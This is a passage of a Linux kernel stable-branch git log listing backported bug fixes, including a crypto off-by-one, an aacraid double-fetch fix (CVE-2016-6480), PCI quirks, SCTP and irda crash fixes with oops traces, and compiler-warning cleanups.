daqboard2000: bug fix board type matching code commit 80e162ee9b31d77d851b10f8c5299132be1e120f upstream. `daqboard2000_find_boardinfo()` is supposed to check if the DaqBoard/2000 series model is supported, based on the PCI subvendor and subdevice ID. The current code is wrong as it is comparing the PCI device's subdevice ID to an expected, fixed value for the subvendor ID. It should be comparing the PCI device's subvendor ID to this fixed value. Correct it. Fixes: 7e8401b23e7f ("staging: comedi: daqboard2000: add back subsystem_device check") Signed-off-by: Ian Abbott Cc: # 3.7+ Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d2616fb1f6cabb45cec36876b4e55cf74446dce5 Author: Dan Carpenter Date: Fri Jul 15 14:09:13 2016 +0300 crypto: nx - off by one bug in nx_of_update_msc() commit e514cc0a492a3f39ef71b31590a7ef67537ee04b upstream. The props->ap[] array is defined like this: struct alg_props ap[NX_MAX_FC][NX_MAX_MODE][3]; So we can see that if msc->fc and msc->mode are == to NX_MAX_FC or NX_MAX_MODE then we're off by one. Fixes: ae0222b7289d ('powerpc/crypto: nx driver code supporting nx encryption') Signed-off-by: Dan Carpenter Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 792df7d5f791fd3b8286dac062298cc2cae3d067 Author: Yinghai Lu Date: Fri Aug 5 23:37:34 2016 -0700 megaraid_sas: Fix probing cards without io port commit e7f851684efb3377e9c93aca7fae6e76212e5680 upstream. Found one megaraid_sas HBA probe fails, [ 187.235190] scsi host2: Avago SAS based MegaRAID driver [ 191.112365] megaraid_sas 0000:89:00.0: BAR 0: can't reserve [io 0x0000-0x00ff] [ 191.120548] megaraid_sas 0000:89:00.0: IO memory region busy! and the card has resource like, [ 125.097714] pci 0000:89:00.0: [1000:005d] type 00 class 0x010400 [ 125.104446] pci 0000:89:00.0: reg 0x10: [io 0x0000-0x00ff] [ 125.110686] pci 0000:89:00.0: reg 0x14: [mem 0xce400000-0xce40ffff 64bit] [ 125.118286] pci 0000:89:00.0: reg 0x1c: [mem 0xce300000-0xce3fffff 64bit] [ 125.125891] pci 0000:89:00.0: reg 0x30: [mem 0xce200000-0xce2fffff pref] that does not io port resource allocated from BIOS, and kernel can not assign one as io port shortage. The driver is only looking for MEM, and should not fail. It turns out megasas_init_fw() etc are using bar index as mask. index 1 is used as mask 1, so that pci_request_selected_regions() is trying to request BAR0 instead of BAR1. Fix all related reference. Fixes: b6d5d8808b4c ("megaraid_sas: Use lowest memory bar for SR-IOV VF support") Signed-off-by: Yinghai Lu Acked-by: Kashyap Desai Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 019bd4c204e407520f5902a4b5a8f7731494948c Author: Dave Carroll Date: Fri Aug 5 13:44:10 2016 -0600 aacraid: Check size values after double-fetch from user commit fa00c437eef8dc2e7b25f8cd868cfa405fcc2bb3 upstream. In aacraid's ioctl_send_fib() we do two fetches from userspace, one the get the fib header's size and one for the fib itself. Later we use the size field from the second fetch to further process the fib. If for some reason the size from the second fetch is different than from the first fix, we may encounter an out-of- bounds access in aac_fib_send(). We also check the sender size to insure it is not out of bounds. This was reported in https://bugzilla.kernel.org/show_bug.cgi?id=116751 and was assigned CVE-2016-6480. Reported-by: Pengfei Wang Fixes: 7c00ffa31 '[SCSI] 2.6 aacraid: Variable FIB size (updated patch)' Cc: stable@vger.kernel.org Signed-off-by: Dave Carroll Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 25515b1483a306d720daad71f1da2a4d31830ed9 Author: Simon Horman Date: Fri Dec 11 11:30:12 2015 +0900 PCI: Limit config space size for Netronome NFP4000 commit c2e771b02792d222cbcd9617fe71482a64f52647 upstream. Like the NFP6000, the NFP4000 as an erratum where reading/writing to PCI config space addresses above 0x600 can cause the NFP to generate PCIe completion timeouts. Limit the NFP4000's PF's config space size to 0x600 bytes as is already done for the NFP6000. The NFP4000's VF is 0x6004 (PCI_DEVICE_ID_NETRONOME_NFP6000_VF), the same device ID as the NFP6000's VF. Thus, its config space is already limited by the existing use of quirk_nfp6000(). Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit adbcc1e7eaf6f81723d26933327ace81055c7c19 Author: Simon Horman Date: Fri Dec 11 11:30:11 2015 +0900 PCI: Add Netronome NFP4000 PF device ID commit 69874ec233871a62e1bc8c89e643993af93a8630 upstream. Add the device ID for the PF of the NFP4000. The device ID for the VF, 0x6003, is already present as PCI_DEVICE_ID_NETRONOME_NFP6000_VF. Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b8129a6cfbde5b3d8173332ad04806b9da948f2a Author: Jason S. McMullan Date: Wed Sep 30 15:35:07 2015 +0900 PCI: Limit config space size for Netronome NFP6000 family commit 9f33a2ae59f24452c1076749deb615bccd435ca9 upstream. The NFP6000 has an erratum where reading/writing to PCI config space addresses above 0x600 can cause the NFP to generate PCIe completion timeouts. Limit the NFP6000's config space size to 0x600 bytes. Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fd80c46fbb9d9a1ed70fe61e0845de323c87b2ba Author: Jason S. McMullan Date: Wed Sep 30 15:35:06 2015 +0900 PCI: Add Netronome vendor and device IDs commit a755e169031dac9ebaed03302c4921687c271d62 upstream. Device IDs for the Netronome NFP3200, NFP3240, NFP6000, and NFP6000 SR-IOV devices. Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c583fe4032996ac49cffd4011bf64322d9b07cf1 Author: Jason S. McMullan Date: Wed Sep 30 15:35:05 2015 +0900 PCI: Support PCIe devices with short cfg_size commit c20aecf6963d1273d8f6d61c042b4845441ca592 upstream. If a device quirk modifies the pci_dev->cfg_size to be less than PCI_CFG_SPACE_EXP_SIZE (4096), but greater than PCI_CFG_SPACE_SIZE (256), the PCI sysfs interface truncates the readable size to PCI_CFG_SPACE_SIZE. Allow sysfs access to config space up to cfg_size, even if the device doesn't support the entire 4096-byte PCIe config space. Note that pci_read_config() and pci_write_config() limit access to dev->cfg_size even though pcie_config_attr contains 4096 (the maximum size). Signed-off-by: Jason S. McMullan [simon: edited changelog] Signed-off-by: Simon Horman [bhelgaas: more changelog edits] Signed-off-by: Bjorn Helgaas Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4816a9a9df79abcedea3b102403b49ef431e966c Author: Willy Tarreau Date: Wed Oct 19 23:18:05 2016 +0200 Revert "powerpc/tm: Always reclaim in start_thread() for exec() class syscalls" This reverts commit 8110080dc53335d5dd99b123144a6174f19ffc65. Guenter noticed that this breaks PPC build when CONFIG_PPC_TRANSACTIONAL_MEM is set, because this patch was not for 3.10. Cc: Guenter Roeck Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 787e01b719a03eb6119b4f27cfe9a4ce18ad68d1 Author: Willy Tarreau Date: Sun Aug 28 12:19:20 2016 +0200 Linux 3.10.103 Signed-off-by: Pranav Vashi commit 838d3cef63876dd3e851caa5305fb4b9ee87de1b Author: dan.carpenter@oracle.com Date: Sun Jun 9 16:07:28 2013 +0300 spi: spi-xilinx: cleanup a check in xilinx_spi_txrx_bufs() commit e33d085d11e54bc9fb07b2555cd104d8e7b3089b upstream. '!' has higher precedence than comparisons so the original condition is equivalent to "if (xspi->remaining_bytes == 0)". This makes the static checkers complain. xspi->remaining_bytes is signed and from looking at the code briefly, I think it might be able to go negative. I suspect that going negative may cause a bug, but I don't have the hardware and can't test. Signed-off-by: Dan Carpenter Signed-off-by: Mark Brown Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e7c1d46849d373736e9b36de39463492a95d4f39 Author: Alexander Shiyan Date: Tue Feb 25 23:41:14 2014 -0300 stb6100: fix buffer length check in stb6100_write_reg_range() commit 7e6bd12fb77b0067df13fb3ba3fadbdff2945396 upstream. We are checking sizeof() the wrong variable! Signed-off-by: Alexander Shiyan Signed-off-by: Michael Krufky Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3a6568ba7dcefc3e6c782ccceded39f3565cb970 Author: Antonio Alecrim Jr Date: Sat Sep 14 14:20:40 2013 -0300 isdn: hfcpci_softirq: get func return to suppress compiler warning commit d6d6d1bc44362112e10a48d434e5b3c716152003 upstream. Signed-off-by: Antonio Alecrim Jr Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6a86b3727942adb133b8b4fefb80d2825fb73f2a Author: Luis Henriques Date: Wed Aug 14 23:10:06 2013 +0100 net: rfkill: Do not ignore errors from regulator_enable() commit dee08ab83d0378d922b67e7cf10bbec3e4ea343b upstream. Function regulator_enable() may return an error that has to be checked. This patch changes function rfkill_regulator_set_block() so that it checks for the return code. Also, rfkill_data->reg_enabled is set to 'true' only if there is no error. This fixes the following compilation warning: net/rfkill/rfkill-regulator.c:43:20: warning: ignoring return value of 'regulator_enable', declared with attribute warn_unused_result [-Wunused-result] Signed-off-by: Luis Henriques Signed-off-by: Johannes Berg Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 49bd5b44207cdf5afa53f9b987c4d75ab4e65bbc Author: Tomer Barletz Date: Sun Aug 2 02:08:57 2015 -0700 ALSA: oxygen: Fix logical-not-parentheses warning commit 8ec7cfce3762299ae289c384e281b2f4010ae231 upstream. This fixes the following warning, that is seen with gcc 5.1: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses]. Signed-off-by: Tomer Barletz Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1f9c15fb34a02265c4963f2d4043d8928f254dff Author: James C Boyd Date: Wed May 27 17:09:06 2015 -0500 HID: hid-input: Add parentheses to quell gcc warning commit 09a5c34e8d6b05663ec4c3d22b1fbd9fec89aaf9 upstream. GCC reports a -Wlogical-not-parentheses warning here; therefore add parentheses to shut it up and to express our intent more. Signed-off-by: James C Boyd Signed-off-by: Jiri Kosina Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c17b18594d4bb8f240aaf28596372ce51fddb2ff Author: Willy Tarreau Date: Sun Aug 21 15:55:52 2016 +0200 squash mm: Export migrate_page_... : also make it non-static commit ce16887b69e94a8c0305e88c918989f8bc1bd6b7 upstream. Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c00836d9f206e0f507f533b1e2fd2935160f60f5 Author: Tim Gardner Date: Fri Oct 30 12:22:58 2015 -0600 be2iscsi: Fix bogus WARN_ON length check commit dd29dae00d39186890a5eaa2fe4ad8768bfd41a9 upstream. drivers/scsi/be2iscsi/be_main.c: In function 'be_sgl_create_contiguous': drivers/scsi/be2iscsi/be_main.c:3187:18: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] WARN_ON(!length > 0); gcc version 5.2.1 Signed-off-by: Tim Gardner Cc: Jayamohan Kallickal Cc: Minh Tran Cc: John Soni Jose Cc: "James E.J. Bottomley" Reported-by: Joel Stanley Reviewed-by: Manoj Kumar Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9aa160e1aad16bab8c6d832c3fc65c06ef04101b Author: Ben Hutchings Date: Thu Apr 28 09:24:01 2016 +0930 module: Invalidate signatures on force-loaded modules commit bca014caaa6130e57f69b5bf527967aa8ee70fdd upstream. Signing a module should only make it trusted by the specific kernel it was built for, not anything else. Loading a signed module meant for a kernel with a different ABI could have interesting effects. Therefore, treat all signatures as invalid when a module is force-loaded. Signed-off-by: Ben Hutchings Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 292b76303197d5cdf51eea9502538aeefa06ed44 Author: Mike Snitzer Date: Fri Jul 29 13:19:55 2016 -0400 dm flakey: error READ bios during the down_interval commit 99f3c90d0d85708e7401a81ce3314e50bf7f2819 upstream. When the corrupt_bio_byte feature was introduced it caused READ bios to no longer be errored with -EIO during the down_interval. This had to do with the complexity of needing to submit READs if the corrupt_bio_byte feature was used. Fix it so READ bios are properly errored with -EIO; doing so early in flakey_map() as long as there isn't a match for the corrupt_bio_byte feature. Fixes: a3998799fb4df ("dm flakey: add corrupt_bio_byte feature") Reported-by: Akira Hayakawa Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7b2869e99a3006d66c0ecf61bc53a870dba5e2ca Author: Iosif Harutyunov Date: Fri Jul 22 23:22:42 2016 +0000 ubi: Fix race condition between ubi device creation and udev commit 714fb87e8bc05ff78255afc0dca981e8c5242785 upstream. Install the UBI device object before we arm sysfs. Otherwise udev tries to read sysfs attributes before UBI is ready and udev rules will not match. Cc: Signed-off-by: Iosif Harutyunov [rw: massaged commit message] Signed-off-by: Richard Weinberger Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cb594ebb6efcae1d74c7d8292dcaa2b5987b9f16 Author: Richard Weinberger Date: Thu Jun 23 19:30:38 2016 +0200 ubi: Make volume resize power cut aware commit 4946784bd3924b1374f05eebff2fd68660bae866 upstream. When the volume resize operation shrinks a volume, LEBs will be unmapped. Since unmapping will not erase these LEBs immediately we have to wait for that operation to finish. Otherwise in case of a power cut right after writing the new volume table the UBI attach process can find more LEBs than the volume table knows. This will render the UBI image unattachable. Fix this issue by waiting for erase to complete and write the new volume table afterward. Cc: Reported-by: Boris Brezillon Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 377cf67948705fb1dec0bdddb65409ce4e885d83 Author: James Hogan Date: Thu Aug 4 17:36:08 2016 +0100 metag: Fix __cmpxchg_u32 asm constraint for CMP commit 6154c187b97ee7513046bb4eb317a89f738f13ef upstream. The LNKGET based atomic sequence in __cmpxchg_u32 has slightly incorrect constraints for the return value which under certain circumstances can allow an address unit register to be used as the first operand of a CMP instruction. This isn't a valid instruction however as the encodings only allow a data unit to be specified. This would result in an assembler error like the following: Error: failed to assemble instruction: "CMP A0.2,D0Ar6" Fix by changing the constraint from "=&da" (assigned, early clobbered, data or address unit register) to "=&d" (data unit register only). The constraint for the second operand, "bd" (an op2 register where op1 is a data unit register and the instruction supports O2R) is already correct assuming the first operand is a data unit register. Other cases of CMP in inline asm have had their constraints checked, and appear to all be fine. Fixes: 6006c0d8ce94 ("metag: Atomics, locks and bitops") Signed-off-by: James Hogan Cc: linux-metag@vger.kernel.org Cc: # 3.9.x- Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3420b3a8bb9ee68d2c4566bf8f1a50017c3ac335 Author: Laura Abbott Date: Fri Jul 8 12:18:50 2016 -0700 ftrace/recordmcount: Work around for addition of metag magic but not relocations commit b2e1c26f0b62531636509fbcb6dab65617ed8331 upstream. glibc recently did a sync up (94e73c95d9b5 "elf.h: Sync with the gabi webpage") that added a #define for EM_METAG but did not add relocations This triggers build errors: scripts/recordmcount.c: In function 'do_file': scripts/recordmcount.c:466:28: error: 'R_METAG_ADDR32' undeclared (first use in this function) case EM_METAG: reltype = R_METAG_ADDR32; ^~~~~~~~~~~~~~ scripts/recordmcount.c:466:28: note: each undeclared identifier is reported only once for each function it appears in scripts/recordmcount.c:468:20: error: 'R_METAG_NONE' undeclared (first use in this function) rel_type_nop = R_METAG_NONE; ^~~~~~~~~~~~ Work around this change with some more #ifdefery for the relocations. Fedora Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1354034 Link: http://lkml.kernel.org/r/1468005530-14757-1-git-send-email-labbott@redhat.com Cc: stable@vger.kernel.org # v3.9+ Cc: James Hogan Fixes: 00512bdd4573 ("metag: ftrace support") Reported-by: Ross Burton Signed-off-by: Laura Abbott Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6e8c3a7684ad21100de741b31db2e0cabaca9bf1 Author: Konstantin Neumoin Date: Mon Jul 11 15:28:59 2016 +0300 balloon: check the number of available pages in leak balloon commit 37cf99e08c6fb4dcea0f9ad2b13b6daa8c76a711 upstream. The balloon has a special mechanism that is subscribed to the oom notification which leads to deflation for a fixed number of pages. The number is always fixed even when the balloon is fully deflated. But leak_balloon did not expect that the pages to deflate will be more than taken, and raise a "BUG" in balloon_page_dequeue when page list will be empty. So, the simplest solution would be to check that the number of releases pages is less or equal to the number taken pages. Cc: stable@vger.kernel.org Signed-off-by: Konstantin Neumoin Signed-off-by: Denis V. Lunev CC: Michael S. Tsirkin Signed-off-by: Michael S. Tsirkin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 29bb10d543b7ee63484ce09eac5d03fdd95d7828 Author: Paul Moore Date: Mon Jun 6 15:17:20 2016 -0400 netlabel: add address family checks to netlbl_{sock,req}_delattr() commit 0e0e36774081534783aa8eeb9f6fbddf98d3c061 upstream. It seems risky to always rely on the caller to ensure the socket's address family is correct before passing it to the NetLabel kAPI, especially since we see at least one LSM which didn't. Add address family checks to the *_delattr() functions to help prevent future problems. Cc: Reported-by: Maninder Singh Signed-off-by: Paul Moore Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 91a622bb87b9dbc96b5fa11f4a55a02722fc7fdb Author: Sachin Prabhu Date: Thu Jul 7 21:28:27 2016 +0100 cifs: Check for existing directory when opening file with O_CREAT commit 8d9535b6efd86e6c07da59f97e68f44efb7fe080 upstream. When opening a file with O_CREAT flag, check to see if the file opened is an existing directory. This prevents the directory from being opened which subsequently causes a crash when the close function for directories cifs_closedir() is called which frees up the file->private_data memory while the file is still listed on the open file list for the tcon. Signed-off-by: Sachin Prabhu Signed-off-by: Steve French CC: Stable Reported-by: Xiaoli Feng Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4d0160957b78c657e82b089207f200755de7357d Author: Amadeusz Sławiński Date: Thu Jul 14 10:50:23 2016 +0200 Bluetooth: Fix l2cap_sock_setsockopt() with optname BT_RCVMTU commit 23bc6ab0a0912146fd674a0becc758c3162baabc upstream. When we retrieve imtu value from userspace we should use 16 bit pointer cast instead of 32 as it's defined that way in headers. Fixes setsockopt calls on big-endian platforms. Signed-off-by: Amadeusz Sławiński Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fd346d7ba390dbc84ea0e6e0c594f36bdaf8bcff Author: Javier Martinez Canillas Date: Tue May 3 16:27:17 2016 -0400 s5p-mfc: Add release callback for memory region devs commit 6311f1261f59ce5e51fbe5cc3b5e7737197316ac upstream. When s5p_mfc_remove() calls put_device() for the reserved memory region devs, the driver core warns that the dev doesn't have a release callback: WARNING: CPU: 0 PID: 591 at drivers/base/core.c:251 device_release+0x8c/0x90 Device 's5p-mfc-l' does not have a release() function, it is broken and must be fixed. Also, the declared DMA memory using dma_declare_coherent_memory() isn't relased so add a dev .release that calls dma_release_declared_memory(). Cc: Fixes: 6e83e6e25eb4 ("[media] s5p-mfc: Fix kernel warning on memory init") Signed-off-by: Javier Martinez Canillas Tested-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a91cb000ea0f6fb269814ea31d8686d2015412da Author: Javier Martinez Canillas Date: Tue May 3 16:27:16 2016 -0400 s5p-mfc: Set device name for reserved memory region devs commit 29debab0a94035a390801d1f177d171d014b7765 upstream. The devices don't have a name set, so makes dev_name() returns NULL which makes harder to identify the devices that are causing issues, for example: WARNING: CPU: 2 PID: 616 at drivers/base/core.c:251 device_release+0x8c/0x90 Device '(null)' does not have a release() function, it is broken and must be fixed. And after setting the device name: WARNING: CPU: 0 PID: 591 at drivers/base/core.c:251 device_release+0x8c/0x90 Device 's5p-mfc-l' does not have a release() function, it is broken and must be fixed. Cc: Fixes: 6e83e6e25eb4 ("[media] s5p-mfc: Fix kernel warning on memory init") Signed-off-by: Javier Martinez Canillas Tested-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d184c9bc0c9b5a2acd2495a0297e5c6d261151cb Author: Alex Hung Date: Mon Jun 13 19:44:00 2016 +0800 hp-wmi: Fix wifi cannot be hard-unblocked commit fc8a601e1175ae351f662506030f9939cb7fdbfe upstream. Several users reported wifi cannot be unblocked as discussed in [1]. This patch removes the use of the 2009 flag by BIOS but uses the actual WMI function calls - it will be skipped if WMI reports unsupported. [1] https://bugzilla.kernel.org/show_bug.cgi?id=69131 Signed-off-by: Alex Hung Tested-by: Evgenii Shatokhin Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 638801470c34382cd3e031834f1310a2f46632a6 Author: Vignesh R Date: Thu Jun 9 11:02:04 2016 +0530 gpio: pca953x: Fix NBANK calculation for PCA9536 commit a246b8198f776a16d1d3a3bbfc2d437bad766b29 upstream. NBANK() macro assumes that ngpios is a multiple of 8(BANK_SZ) and hence results in 0 banks for PCA9536 which has just 4 gpios. This is wrong as PCA9356 has 1 bank with 4 gpios. This results in uninitialized PCA953X_INVERT register. Fix this by using DIV_ROUND_UP macro in NBANK(). Cc: stable@vger.kernel.org Signed-off-by: Vignesh R Signed-off-by: Linus Walleij Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2e3cd6ac3af3a864a219aef34bcad26a1c3d73ab Author: Vegard Nossum Date: Sat Jul 23 07:43:50 2016 +0200 net/irda: fix NULL pointer dereference on memory allocation failure commit d3e6952cfb7ba5f4bfa29d4803ba91f96ce1204d upstream. I ran into this: kasan: CONFIG_KASAN_INLINE enabled kasan: GPF could be caused by NULL-ptr deref or user memory access general protection fault: 0000 [#1] PREEMPT SMP KASAN CPU: 2 PID: 2012 Comm: trinity-c3 Not tainted 4.7.0-rc7+ #19 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 task: ffff8800b745f2c0 ti: ffff880111740000 task.ti: ffff880111740000 RIP: 0010:[] [] irttp_connect_request+0x36/0x710 RSP: 0018:ffff880111747bb8 EFLAGS: 00010286 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000069dd8358 RDX: 0000000000000009 RSI: 0000000000000027 RDI: 0000000000000048 RBP: ffff880111747c00 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000069dd8358 R11: 1ffffffff0759723 R12: 0000000000000000 R13: ffff88011a7e4780 R14: 0000000000000027 R15: 0000000000000000 FS: 00007fc738404700(0000) GS:ffff88011af00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fc737fdfb10 CR3: 0000000118087000 CR4: 00000000000006e0 Stack: 0000000000000200 ffff880111747bd8 ffffffff810ee611 ffff880119f1f220 ffff880119f1f4f8 ffff880119f1f4f0 ffff88011a7e4780 ffff880119f1f232 ffff880119f1f220 ffff880111747d58 ffffffff82bca542 0000000000000000 Call Trace: [] irda_connect+0x562/0x1190 [] SYSC_connect+0x202/0x2a0 [] SyS_connect+0x9/0x10 [] do_syscall_64+0x19c/0x410 [] entry_SYSCALL64_slow_path+0x25/0x25 Code: 41 89 ca 48 89 e5 41 57 41 56 41 55 41 54 41 89 d7 53 48 89 fb 48 83 c7 48 48 89 fa 41 89 f6 48 c1 ea 03 48 83 ec 20 4c 8b 65 10 <0f> b6 04 02 84 c0 74 08 84 c0 0f 8e 4c 04 00 00 80 7b 48 00 74 RIP [] irttp_connect_request+0x36/0x710 RSP ---[ end trace 4cda2588bc055b30 ]--- The problem is that irda_open_tsap() can fail and leave self->tsap = NULL, and then irttp_connect_request() almost immediately dereferences it. Cc: stable@vger.kernel.org Signed-off-by: Vegard Nossum Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f54474f486f15321446979289503ce9df2d02371 Author: James Bottomley Date: Fri May 13 12:04:06 2016 -0700 scsi_lib: correctly retry failed zero length REQ_TYPE_FS commands commit a621bac3044ed6f7ec5fa0326491b2d4838bfa93 upstream. When SCSI was written, all commands coming from the filesystem (REQ_TYPE_FS commands) had data. This meant that our signal for needing to complete the command was the number of bytes completed being equal to the number of bytes in the request. Unfortunately, with the advent of flush barriers, we can now get zero length REQ_TYPE_FS commands, which confuse this logic because they satisfy the condition every time. This means they never get retried even for retryable conditions, like UNIT ATTENTION because we complete them early assuming they're done. Fix this by special casing the early completion condition to recognise zero length commands with errors and let them drop through to the retry code. Reported-by: Sebastian Parschauer Signed-off-by: James E.J. Bottomley Tested-by: Jack Wang Signed-off-by: Martin K. Petersen [ jwang: backport from upstream 4.7 to fix scsi resize issue ] Signed-off-by: Jack Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9585b964a8bf972c5427e7cb1181cf4fc27cf4f2 Author: David Howells Date: Wed Jul 27 11:43:37 2016 +0100 KEYS: 64-bit MIPS needs to use compat_sys_keyctl for 32-bit userspace commit 20f06ed9f61a185c6dabd662c310bed6189470df upstream. MIPS64 needs to use compat_sys_keyctl for 32-bit userspace rather than calling sys_keyctl. The latter will work in a lot of cases, thereby hiding the issue. Reported-by: Stephan Mueller Signed-off-by: David Howells cc: stable@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: linux-security-module@vger.kernel.org Cc: keyrings@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13832/ Signed-off-by: Ralf Baechle Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 65b38673755e5dcf38d44ff1d1879b8887f77f59 Author: Andy Lutomirski Date: Tue Jan 12 12:47:40 2016 -0800 x86/mm: Improve switch_mm() barrier comments commit 4eaffdd5a5fe6ff9f95e1ab4de1ac904d5e0fa8b upstream. My previous comments were still a bit confusing and there was a typo. Fix it up. Reported-by: Peter Zijlstra Signed-off-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Hansen Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Rik van Riel Cc: Thomas Gleixner Cc: stable@vger.kernel.org Fixes: 71b3c126e611 ("x86/mm: Add barriers and document switch_mm()-vs-flush synchronization") Link: http://lkml.kernel.org/r/0a0b43cdcdd241c5faaaecfbcc91a155ddedc9a1.1452631609.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit aa0e718f56ceee1c0a75a683f25d452da5d4053f Author: Karl Heiss Date: Thu Sep 24 12:15:07 2015 -0400 sctp: Prevent soft lockup when sctp_accept() is called during a timeout event commit 635682a14427d241bab7bbdeebb48a7d7b91638e upstream. A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[] [] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: [] ? sctp_rcv+0x492/0xa10 [sctp] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? ip_local_deliver_finish+0xdd/0x2d0 [] ? ip_local_deliver+0x98/0xa0 [] ? ip_rcv_finish+0x12d/0x440 [] ? ip_rcv+0x275/0x350 [] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket 